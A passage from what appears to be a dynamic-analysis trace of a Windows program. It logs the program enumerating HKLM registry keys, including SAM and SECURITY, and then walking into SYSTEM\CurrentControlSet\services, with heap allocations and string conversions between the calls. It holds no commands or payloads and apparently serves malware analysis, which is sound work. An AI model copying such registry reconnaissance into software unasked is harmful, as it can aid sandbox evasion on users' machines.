dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1c94408, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.196] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.196] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.196] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.196] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0028.196] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.196] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.196] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.197] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="SAM") returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x1c94408, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.197] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.197] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.197] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.197] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x1c94450, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0028.197] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.198] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.198] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0028.198] RegCloseKey (hKey=0x80000002) returned 0x0 [0028.198] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0028.198] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.198] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1c94408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0028.198] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.198] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.198] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0028.198] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.198] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1c94450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0028.198] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.198] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.198] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.198] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0028.198] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0028.198] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1c94408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0028.198] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.199] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.199] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1c94408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.199] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x5, lpName=0x1c829e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1c94450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.199] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.199] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x6, lpName=0x1c829e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0028.199] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.199] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.200] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.200] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.200] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.200] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x7, lpName=0x1c829e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1c94450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.200] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.200] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.200] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.200] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x8, lpName=0x1c829e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1c94408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.200] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.200] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.200] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.200] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0028.200] RegCloseKey (hKey=0x15c) returned 0x0 [0028.200] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.200] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1c94450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0028.200] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.201] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1c829e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1c94408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.201] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1c829e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1c94450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.201] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1c829e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1c94408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.201] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.201] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1c829e0, cchName=0x104 | out: lpName="services") returned 0x0 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0028.201] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.201] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1c94450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0028.202] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.202] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94450) returned 1 [0028.202] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.202] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c95e18) returned 1 [0028.202] RegOpenKeyExW (in: hKey=0xc8, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x15c) returned 0x0 [0028.202] RegCloseKey (hKey=0xc8) returned 0x0 [0028.202] RegEnumKeyW (in: hKey=0x15c, dwIndex=0x0, lpName=0x1c829e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0028.202] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x1c95e18 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.202] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94408 [0028.202] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1c94408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0028.202] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c94450 [0028.202] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c94408) returned 1 [0028.202] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, 